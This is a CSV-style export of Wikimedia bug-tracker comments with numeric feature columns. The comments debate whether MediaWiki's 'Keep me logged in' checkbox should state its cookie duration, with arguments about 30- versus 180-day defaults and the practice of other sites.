I guess I'm behind on that task. When I last looked, I remember objections to setting such a long cookie.",,,1471127286,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,154,True,0.0,0.0,0.5,1.0,0.5,4.0,0.0,0.0,0.0,0.5,1.0,2.0,0.0,0.0,0.0,7.0,0.5,5.0,8.0,0.0,1.5,1.5,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.5,0.0,7.0,4.5,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.5,0.0,0.0,0.0,4.0,1.0,12.5,1.5,0.0,7.5,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,8.0,8.0,1.0,1.5,1.0,0.0,8.0,0.0,1.5,2.5,0.5,2.0,0.0,1.0,0.5,3.787202380952381,0.7791418650793651,"QUOTE
QUOTE

I'm not sure which consensus you're referring to overturning. The English Wikipedia continues to have ""Keep me logged in (for up to 30 days)"" at <URL I imagine other wikis do as well?

If we removed the checkbox altogether, the duration discussion would become moot.

QUOTE
QUOTE

I still think we should at least consider this idea. Do you think a separate task should be filed to focus on this (an auto-extending cookie expiry) specifically?

QUOTE

I guess I'm behind on that task. When I last looked, I remember objections to setting such a long cookie."
711170,"""Remember me"" on Login interface should state duration",">>! In T49694#2550035, @Tgr wrote:
> There is no plan to change the core default of 30 days.

The core default is 180 days.",,,1471104206,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,154,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,45.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,0.9090909090909091,"QUOTE
QUOTE

The core default is 180 days."
711070,"""Remember me"" on Login interface should state duration","To sum up the arguments against the change, and (IMO) the problems with them:
* MediaWiki (or Wikimedia?) will change to indefinite password length, making the duration meaningless - that did not happen and AFAIK is not currently planned to happen
* Wikimedia is about to increase password length to 1 year (T68699) which is long enough that it should be considered practically infinite - maybe, but that's not relevant for a discussion about a core change; at most it's a reason to hide the duration via WikimediaMessages or some similar mechanism, or display it selectively based on some limit. There is no plan to change the core default of 30 days.
* other big sites don't do it - the examples were questionable: Facebook remembers users for a very long time (right now they use 90-day cookie expiration but extend the cookies whenever you visit). Google also remembers practically forever and only repeats the 2FA check and does show the duration there (screenshot: F4358485) although it might be different for users with no 2FA. (Did not check Twitter.)
* //Our primary standard is for inclusion is, ""Is this actually necessary to log in?""// - that's clearly not the case, as the whole checkbox is unnecessary for login and nevertheless displayed. Helping users understand the system and make it seem less random is good UX.

So I don't think any of those arguments are strong enough to overturn consensus.",,,1471054230,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,154,True,1.0,0.0,0.3333333333333333,0.6666666666666666,2.3333333333333335,6.666666666666667,2.6666666666666665,0.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,1.0,0.3333333333333333,0.3333333333333333,0.0,9.666666666666666,9.333333333333334,0.0,2.6666666666666665,0.3333333333333333,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,7.333333333333333,3.0,2.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,2.6666666666666665,0.0,2.0,0.0,0.0,0.0,12.0,1.0,1.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,1.6666666666666667,0.0,0.0,0.3333333333333333,0.0,0.0,5.666666666666667,4.333333333333333,6.666666666666667,1.0,3.6666666666666665,9.333333333333334,0.0,0.0,0.0,0.0,7.333333333333333,0.0,1.3333333333333333,0.0,3.3333333333333335,9.333333333333334,4.0,0.3333333333333333,0.3333333333333333,0.0,3.3333333333333335,0.0,1.0,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,4.166256065696155,0.7635684957073535,"To sum up the arguments against the change, and (IMO) the problems with them:
* MediaWiki (or Wikimedia?) will change to indefinite password length, making the duration meaningless - that did not happen and AFAIK is not currently planned to happen
* Wikimedia is about to increase password length to 1 year (T68699) which is long enough that it should be considered practically infinite - maybe, but that's not relevant for a discussion about a core change; at most it's a reason to hide the duration via WikimediaMessages or some similar mechanism, or display it selectively based on some limit. There is no plan to change the core default of 30 days.
* other big sites don't do it - the examples were questionable: Facebook remembers users for a very long time (right now they use 90-day cookie expiration but extend the cookies whenever you visit). Google also remembers practically forever and only repeats the 2FA check and does show the duration there (screenshot: F4358485) although it might be different for users with no 2FA. (Did not check Twitter.)
* //Our primary standard is for inclusion is, ""Is this actually necessary to log in?""// - that's clearly not the case, as the whole checkbox is unnecessary for login and nevertheless displayed. Helping users understand the system and make it seem less random is good UX.

So I don't think any of those arguments are strong enough to overturn consensus."
229660,"""Remember me"" on Login interface should state duration",*** Bug 70348 has been marked as a duplicate of this bug. ***,,,1411625205,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,56,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 70348 has been marked as a duplicate of this bug. ***
229655,"""Remember me"" on Login interface should state duration","Created attachment 16479
Google 2-factor ""remember me"" text

(In reply to Matt Walker from comment #17)
> (In reply to comment #15)
> > ""Keep me logged in"" satisfies this need.
> 
> Keep me logged in implies perpetuity. Which is what triggers the confusion
> when someone is logged out.
> 
> Look at a service like Gmail -- initially it says ""keep me logged in""
> because it will. But if you have two factor auth; it then gives you a new
> form that specifically says ""Remember this computer for 30 days.""

Is this still the case?  This is a different use case anyway, because it's a distinct feature (this computer is particularly private, so I don't want to enter my 2-factor code every time) from the regular login screen.

However, it looks like they're using (screenshot attached), ""Don't ask for codes again on this computer"" now unless we're considering different forms.

**Attached**: {F10961}",,,1410846058,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,54,True,0.5,0.0,0.0,0.0,1.5,3.0,1.5,0.5,0.0,0.5,1.0,3.0,0.5,0.0,0.0,2.5,0.5,5.5,7.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,11.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,2.0,1.5,11.5,2.0,0.0,5.0,0.0,0.0,0.0,0.5,3.5,0.0,2.0,0.0,4.5,7.0,5.5,0.5,2.5,0.0,4.5,0.0,0.0,1.0,0.5,1.5,0.0,0.0,0.0,3.5367647058823533,0.75,"Created attachment 16479
Google 2-factor ""remember me"" text

(In reply to Matt Walker from comment #17)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Is this still the case?  This is a different use case anyway, because it's a distinct feature (this computer is particularly private, so I don't want to enter my 2-factor code every time) from the regular login screen.

However, it looks like they're using (screenshot attached), ""Don't ask for codes again on this computer"" now unless we're considering different forms.

**Attached**: {F10961}"
229649,"""Remember me"" on Login interface should state duration","**wmf.amgine3691** wrote:

(In reply to comment #61)
> (In reply to comment #60)
> > 
> > (In reply to comment #59)
...snip
> > > differ. This obviously supports the view that it would be unusual to present
> > > this, and probably unnecessary.

The above argument is the same argument as

> > Many users are bothered, as the number of featured browser extensions with
> > hundreds thousands users show:
> > https://addons.mozilla.org/it/firefox/addon/betterprivacy/
> > https://addons.mozilla.org/it/firefox/addon/anonymox/
> > https://addons.mozilla.org/en/firefox/addon/self-destructing-cookies/

And both arguments, being based on deduction, obviate this argument:

> No one here has actually presented a real-world complaint from users, about
> how
> they can't use the login form because it doesn't precisely specify the length
> of a login session. That's because it doesn't happen. 


The rest of that comment was speculative (although I happen to agree with it.)

The question is not about cookie life, but about displaying that cogently to the user. The real question is: is this a real problem? for some users it is because they have reported it as a problem. No one previously reported the existence of the text as a problem; it was a change made without an outside (user) instigation (at least, I never saw a bug report about it.)

The heat in these comments suggests it's a real issue, too.",,,1391188609,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,22,True,0.5,0.0,0.0,0.5,0.5,4.0,3.0,0.5,0.5,0.0,2.5,0.0,0.0,0.0,0.0,1.0,0.5,2.5,11.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,5.5,0.5,3.0,5.0,0.0,0.0,0.0,0.0,1.0,0.5,0.5,0.5,5.0,0.0,0.5,0.0,0.0,0.0,12.5,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,8.5,4.0,12.0,1.5,1.0,12.0,0.0,0.0,0.0,0.5,1.0,0.0,1.0,0.0,5.0,11.0,4.5,0.5,0.0,0.0,5.0,0.0,0.0,4.0,0.0,0.5,0.0,0.5,0.5,3.578833567087424,0.6003973819541841,"**wmf.amgine3691** wrote:

(In reply to comment #61)
QUOTE
QUOTE
QUOTE
...snip
QUOTE
QUOTE

The above argument is the same argument as

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

And both arguments, being based on deduction, obviate this argument:

QUOTE
QUOTE
QUOTE
QUOTE


The rest of that comment was speculative (although I happen to agree with it.)

The question is not about cookie life, but about displaying that cogently to the user. The real question is: is this a real problem? for some users it is because they have reported it as a problem. No one previously reported the existence of the text as a problem; it was a change made without an outside (user) instigation (at least, I never saw a bug report about it.)

The heat in these comments suggests it's a real issue, too."
229644,"""Remember me"" on Login interface should state duration","(In reply to comment #62)
> We are discussing a core functionality if MediaWiki. I have the feesling that
> you are talking about Wikipedia and the upcoming long term cookie for it
> only.

The MediaWiki default is 180 days already, which is sensible unlike the Wikimedia default which is currently 30 days.",,,1391084607,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,22,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,8.0,19.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,3.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,0.75,"(In reply to comment #62)
QUOTE
QUOTE
QUOTE

The MediaWiki default is 180 days already, which is sensible unlike the Wikimedia default which is currently 30 days."
229638,"""Remember me"" on Login interface should state duration","(In reply to comment #61)
> 
> We're discussing about setting a long term login cookie for users who opt-in,
> not auto-renewing cookies or any number of other scummy things in the post
> you
> link to. 

We are discussing a core functionality if MediaWiki. I have the feesling that you are talking about Wikipedia and the upcoming long term cookie for it only.


> No one here has actually presented a real-world complaint from users, about
> how
> they can't use the login form because it doesn't precisely specify the length
> of a login session. 

Probably because the latest MediaWiki release with the new login form is not very often deployed to third parties. Especially companies do not very often update a MediaWiki installation.

And I can confirm, that some of the installations I care for are using very different cookie lifetime settings. Between some days and some weeks. Depending on the security rules of the company. But I am not able to link to them because most of them are in an intranet, not public available.",,,1391076510,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,22,True,2.0,0.0,2.0,0.0,2.5,6.0,1.5,1.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,3.0,0.5,7.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,5.5,0.0,0.5,1.5,0.5,0.0,0.0,0.0,0.5,0.0,1.5,0.0,2.5,0.0,0.0,0.5,0.0,0.5,12.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.5,14.0,3.0,2.5,8.0,0.0,0.0,0.0,0.5,2.5,0.0,0.5,0.0,5.5,12.0,5.0,0.0,0.0,0.0,5.5,0.0,0.0,2.0,1.5,2.5,0.0,1.0,0.0,4.114864864864865,0.7094594594594594,"(In reply to comment #61)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

We are discussing a core functionality if MediaWiki. I have the feesling that you are talking about Wikipedia and the upcoming long term cookie for it only.


QUOTE
QUOTE
QUOTE
QUOTE

Probably because the latest MediaWiki release with the new login form is not very often deployed to third parties. Especially companies do not very often update a MediaWiki installation.

And I can confirm, that some of the installations I care for are using very different cookie lifetime settings. Between some days and some weeks. Depending on the security rules of the company. But I am not able to link to them because most of them are in an intranet, not public available."
229631,"""Remember me"" on Login interface should state duration","**swalling** wrote:

(In reply to comment #60)
> 
> (In reply to comment #59)
> > I cannot find a _single_ good example of a login form which
> > specifies
> > an exact time limit on saved login sessions, even if cookie policies may
> > differ. This obviously supports the view that it would be unusual to present
> > this, and probably unnecessary.
> 
> As most arguments where Steven uses the word ""obviously"", this is IMHO a very
> weak and disputable one. Cookies are one of the least honest businesses of
> the
> internet and few or no websites are straightforward with their users about
> them
> (though this is getting better in EU thanks to recent directives): however,
> MediaWiki's ethical standards are higher than the average and we shouldn't
> blindly follow bad practices, however common they might be.
> Best example of dishonesty has always been Google (which triggered the EU
> directive):
> https://www.eff.org/deeplinks/2007/07/edition-privacy-theater-googles-cookie-
> monster
> http://edri.org/edrigramnumber5-15search-engine-privacy/
> Many users are bothered, as the number of featured browser extensions with
> hundreds thousands users show:
> https://addons.mozilla.org/it/firefox/addon/betterprivacy/
> https://addons.mozilla.org/it/firefox/addon/anonymox/
> https://addons.mozilla.org/en/firefox/addon/self-destructing-cookies/
> 

We're discussing about setting a long term login cookie for users who opt-in, not auto-renewing cookies or any number of other scummy things in the post you link to. Users already get to decide. We're talking about how to choose the clearest language to describe the choice they're making. Matching user expectations by using similar language that is familiar to them from the same generic interface on other popular sites helps users make a decision quickly and without needing to read excess detail like ""keep me logged in for 180 days"".  

No one here has actually presented a real-world complaint from users, about how they can't use the login form because it doesn't precisely specify the length of a login session. That's because it doesn't happen. Most users don't really care exactly how many days you remember them when they're trying to finish the login process quickly and without having to think much about it. They either want their session to expire, or to be remembered. (Yes, we all use MediaWiki. We're also all technical people commenting here, many of us people who submit patches. We don't represent what most average users need and expect.)",,,1391074978,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,22,True,2.0,0.0,0.0,0.25,1.5,5.25,0.25,0.5,0.0,0.0,1.0,2.75,0.0,0.0,0.0,2.0,0.5,5.5,8.75,0.0,2.5,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.25,6.25,1.5,0.75,1.5,0.5,0.0,0.0,0.75,0.25,0.25,2.0,0.0,1.0,0.0,0.25,0.0,0.25,0.0,10.75,0.25,0.0,0.25,0.75,0.0,0.0,0.0,0.25,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.75,0.0,2.75,0.5,10.5,1.75,1.75,4.25,0.0,0.0,0.0,0.25,4.5,0.25,0.5,0.0,5.5,8.75,6.75,0.0,0.5,0.0,5.5,0.0,2.25,1.0,1.25,2.75,0.0,0.75,0.0,3.855263157894737,0.6710526315789475,"**swalling** wrote:

(In reply to comment #60)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

We're discussing about setting a long term login cookie for users who opt-in, not auto-renewing cookies or any number of other scummy things in the post you link to. Users already get to decide. We're talking about how to choose the clearest language to describe the choice they're making. Matching user expectations by using similar language that is familiar to them from the same generic interface on other popular sites helps users make a decision quickly and without needing to read excess detail like ""keep me logged in for 180 days"".  

No one here has actually presented a real-world complaint from users, about how they can't use the login form because it doesn't precisely specify the length of a login session. That's because it doesn't happen. Most users don't really care exactly how many days you remember them when they're trying to finish the login process quickly and without having to think much about it. They either want their session to expire, or to be remembered. (Yes, we all use MediaWiki. We're also all technical people commenting here, many of us people who submit patches. We don't represent what most average users need and expect.)"
229622,"""Remember me"" on Login interface should state duration","I'm not sure whether this bug should be fixed or not, even though Isarra's compromise is sensible, because I agree that in an ideal world we'd just have a checkbox ""remind me forever"" with unanimous research telling us that N days feels exactly like forever/what the users think forever (or ""forever enough"") and MediaWiki would set expiry accordingly. However, I doubt this is possible: for some users ""forever"" is 2 years renewing at every visit (like Google), for others 1 week is already a painfully long time. See also below.

This said, it seems Steven lacks an answer on this point:

(In reply to comment #59)
> I cannot find a _single_ good example of a login form which
> specifies
> an exact time limit on saved login sessions, even if cookie policies may
> differ. This obviously supports the view that it would be unusual to present
> this, and probably unnecessary.

As most arguments where Steven uses the word ""obviously"", this is IMHO a very weak and disputable one. Cookies are one of the least honest businesses of the internet and few or no websites are straightforward with their users about them (though this is getting better in EU thanks to recent directives): however, MediaWiki's ethical standards are higher than the average and we shouldn't blindly follow bad practices, however common they might be.
Best example of dishonesty has always been Google (which triggered the EU directive):
https://www.eff.org/deeplinks/2007/07/edition-privacy-theater-googles-cookie-monster
http://edri.org/edrigramnumber5-15search-engine-privacy/
Many users are bothered, as the number of featured browser extensions with hundreds thousands users show:
https://addons.mozilla.org/it/firefox/addon/betterprivacy/
https://addons.mozilla.org/it/firefox/addon/anonymox/
https://addons.mozilla.org/en/firefox/addon/self-destructing-cookies/

On the other hand, other users just hate logging in and whatever expiry you pick will make someone unhappy. This bug is IMHO about acknowledging that no expiry is perfect and that we must let the users decide. For the cost of 6 characters or so on the login form, yes.",,,1391072610,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,22,True,1.0,0.25,0.25,0.5,0.75,6.25,1.5,0.25,0.5,0.0,2.25,0.75,0.0,0.0,0.0,2.0,0.25,7.0,9.5,0.25,0.25,0.75,0.0,0.0,0.5,0.25,0.0,0.25,0.25,0.75,0.5,6.25,1.5,0.25,1.25,0.25,0.25,0.25,0.0,0.5,0.5,0.75,0.0,0.75,0.0,1.25,0.0,0.0,0.75,14.0,1.0,1.0,0.0,0.75,0.0,0.0,0.0,0.25,1.0,0.0,0.0,0.75,0.0,0.25,0.25,0.0,0.0,4.25,4.0,9.5,2.25,2.75,8.0,0.0,0.0,0.0,0.25,3.0,0.25,1.5,0.0,3.25,9.5,3.75,0.0,2.0,0.0,3.25,0.0,1.0,1.25,0.75,1.25,0.5,0.75,0.0,3.9788798049340217,0.7626577739529548,"I'm not sure whether this bug should be fixed or not, even though Isarra's compromise is sensible, because I agree that in an ideal world we'd just have a checkbox ""remind me forever"" with unanimous research telling us that N days feels exactly like forever/what the users think forever (or ""forever enough"") and MediaWiki would set expiry accordingly. However, I doubt this is possible: for some users ""forever"" is 2 years renewing at every visit (like Google), for others 1 week is already a painfully long time. See also below.

This said, it seems Steven lacks an answer on this point:

(In reply to comment #59)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

As most arguments where Steven uses the word ""obviously"", this is IMHO a very weak and disputable one. Cookies are one of the least honest businesses of the internet and few or no websites are straightforward with their users about them (though this is getting better in EU thanks to recent directives): however, MediaWiki's ethical standards are higher than the average and we shouldn't blindly follow bad practices, however common they might be.
Best example of dishonesty has always been Google (which triggered the EU directive):
URL
URL
Many users are bothered, as the number of featured browser extensions with hundreds thousands users show:
URL
URL
URL

On the other hand, other users just hate logging in and whatever expiry you pick will make someone unhappy. This bug is IMHO about acknowledging that no expiry is perfect and that we must let the users decide. For the cost of 6 characters or so on the login form, yes."
229615,"""Remember me"" on Login interface should state duration","Speaking directly from [[mw:Bug management/Bugzilla etiquette]], ""bug status, priority, and target milestone fields summarize and reflect reality and do not cause it"".

With that in mind I ask that this ""edit war"" of sorts on this bug please stop. It is extremely obvious that, at the very least, the outcome of this bug is disputed. Thus closing it as WONTFIX is unproductive and aggressive.

To the contrary, I recommend that this discussion be taken to a more public forum, e.g., the mailing list, where it is more likely to get a wider range of responses and criticisms.",,,1391059993,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,22,True,0.0,0.0,1.5,1.5,0.5,5.5,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.5,0.0,6.5,10.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.5,2.5,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,2.5,0.0,1.5,0.0,0.0,1.5,13.5,0.5,2.5,1.0,1.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.0,3.5,6.0,2.5,3.0,8.0,0.0,0.0,0.0,0.0,3.5,0.5,0.0,0.0,4.0,10.0,1.0,0.0,2.0,0.0,4.0,0.0,1.0,1.5,0.0,1.5,2.5,1.0,1.5,3.8408858166922686,0.7357910906298003,"Speaking directly from [[mw:Bug management/Bugzilla etiquette]], ""bug status, priority, and target milestone fields summarize and reflect reality and do not cause it"".

With that in mind I ask that this ""edit war"" of sorts on this bug please stop. It is extremely obvious that, at the very least, the outcome of this bug is disputed. Thus closing it as WONTFIX is unproductive and aggressive.

To the contrary, I recommend that this discussion be taken to a more public forum, e.g., the mailing list, where it is more likely to get a wider range of responses and criticisms."
229608,"""Remember me"" on Login interface should state duration","Hmmm, four wontfixes here:

* 2014-01-26 07:16:34 UTC comment 37
* 2014-01-26 21:23:37 UTC comment 42
* 2014-01-28 05:52:58 UTC comment 47
* 2014-01-28 08:59:43 UTC comment 52

Bartosz's patch came in at comment 57. Fun pattern. :-)",,,1391050403,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,True,,,22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,41.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,0.546875,"Hmmm, four wontfixes here:

* 2014-01-26 07:16:34 UTC comment 37
* 2014-01-26 21:23:37 UTC comment 42
* 2014-01-28 05:52:58 UTC comment 47
* 2014-01-28 08:59:43 UTC comment 52

Bartosz's patch came in at comment 57. Fun pattern. :-)"
229600,"""Remember me"" on Login interface should state duration","Change 110279 had a related patch set uploaded by Bartosz Dziewoński:
""Keep me logged in"" on Special:UserLogin should sometimes state duration

https://gerrit.wikimedia.org/r/110279",,,1391043296,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,22,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,24.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,3.0,10.0,14.0,0.0,7.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,4.655172413793103,0.9310344827586207,"Change 110279 had a related patch set uploaded by Bartosz Dziewoński:
""Keep me logged in"" on Special:UserLogin should sometimes state duration

GERRIT_URL"
229593,"""Remember me"" on Login interface should state duration","(In reply to comment #52)
> Isarra's proposal is not reasonable. You want us to add logic for displaying
> the cookie expiration, while also saying ""though what the boundary would be""
> for actually showing it is ""up in the air"". This is not a specification for a
> patch, it's vague handwaving.

Development is not an exact science. This is why iteration is so popular. If you've ever done anything Agile, it's all about iteration.

Now I don't know what random number is best so I'm not going to specify a specific random number, but at this point it really doesn't matter what it is anyway. We need the logic first, and if the logic is there, we can then just pick anything for the cutoff number, 182 days, a year, whatever. If it turns out to be a bad number, people will complain and we can change it. An iteration, see?

Changing a variable is easy. We do it all the time.",,,1391038923,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,3,False,,,22,True,1.0,1.0,0.0,0.0,2.0,4.5,2.5,0.0,0.0,2.0,0.5,2.0,0.0,0.0,0.0,3.5,0.0,8.5,6.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,8.5,1.0,3.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,1.0,0.0,0.0,0.0,9.5,0.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.5,6.5,4.5,9.5,2.5,2.0,9.0,0.0,0.0,0.0,0.5,5.5,0.0,1.0,0.0,8.0,6.5,2.5,0.5,0.0,0.0,8.0,0.0,2.5,3.5,0.0,1.0,0.0,0.5,0.0,3.3979835953520166,0.6860902255639099,"(In reply to comment #52)
QUOTE
QUOTE
QUOTE
QUOTE

Development is not an exact science. This is why iteration is so popular. If you've ever done anything Agile, it's all about iteration.

Now I don't know what random number is best so I'm not going to specify a specific random number, but at this point it really doesn't matter what it is anyway. We need the logic first, and if the logic is there, we can then just pick anything for the cutoff number, 182 days, a year, whatever. If it turns out to be a bad number, people will complain and we can change it. An iteration, see?

Changing a variable is easy. We do it all the time."
